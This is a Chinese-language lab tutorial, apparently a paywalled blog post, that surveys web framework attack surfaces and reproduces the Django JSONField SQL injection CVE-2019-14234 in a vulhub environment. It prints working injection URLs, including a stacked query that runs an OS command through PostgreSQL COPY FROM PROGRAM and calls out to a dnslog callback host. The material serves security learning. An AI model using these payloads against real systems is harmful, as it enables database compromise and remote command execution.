目录
服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery漏洞复现
中间件列表介绍
中间件及框架列表:
IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等
1、开发框架-PHP-Laravel-Thinkphp
2、开发框架-Javaweb-St2-Spring
3、开发框架-Python-django-Flask
4、开发框架-Javascript-Node.js-JQuery
5、其他框架-Java-Apache Shiro&Apache Sorl
常见语言开发框架
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend 等
JAVA:Spring MyBatis Hibernate Struts2 Springboot 等
Python:Django Flask Bottle Turbobars Tornado Web2py 等
Javascript:Vue.js Node.js Bootstrap JQuery Angular 等
常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞
中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
应用服务安全测试流程:
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等
开发框架组件安全测试流程:
1、判断常见语言开发框架类型
2、判断开发框架存在的 CVE 问题
Python开发框架安全-Django&Flask漏洞复现
Django开发框架
Django是一个高级的Python Web框架,可以快速开发安全和可维护的网站。由经验丰富的开发者构建,Django负责处理网站开发中麻烦的部分,可以专注于编写应用程序,而无需重新开发。它是免费和开源的,有活跃繁荣的社区,丰富的文档,以及很多免费和付费的解决方案。
Django 是一款广为流行的开源 web 框架,由 Python 编写,许多网站和 app 都基于
Django 开发。Django 采用了 MTV 的框架模式,即模型 M,视图 V 和模版 T,使用
Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且
Django 还包含许多功能强大的第三方插件,使得 Django 具有较强的可扩展性。
安全问题:
CVE_2019_14234
CVE-2021-35042
…
漏洞复现
CVE-2019-14234(Django JSONField/HStoreField SQL注入漏洞)
该漏洞要求开发者使用 JSONField/HStoreField;此外,还可以控制 QuerySet 的字段名称。Django 的内置应用程序 Django-Admin 受到影响,这为我们提供了一种重现漏洞的简单方法。
靶场:vulhub
参考:Django JSONField/HStoreField SQL注入漏洞复现

开启环境:

访问web界面:

首先,使用用户名和密码登录 Django-Admin。
http://your-ip:8000/admin/
账号:admin 密码:a123123123
成功登录:

然后转到模型的列表视图:
http://your-ip:8000/admin/vuln/collection/
Collection

添加到 GET 参数中,其中是 JSONField:
detail__a'b=123 detail
payload:
http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123
可以看到单引号注入成功,SQL语句报错:

创建 cmd_exec:
payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20
执行效果:
成功创建

调用 cmd_exec 执行命令:
payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20xxxx.dnslog.cn%27--%20

本文围绕服务攻防中框架安全展开,介绍了常见中间件及多种语言开发框架。重点对Python的Django、Flask,JavaScript的jQuery、Node.js框架进行漏洞复现,如Django的SQL注入漏洞、Flask的服务端模板注入漏洞、jQuery的文件上传漏洞、Node.js的目录穿越和命令执行漏洞等。
最低0.47元/天 解锁文章
5614





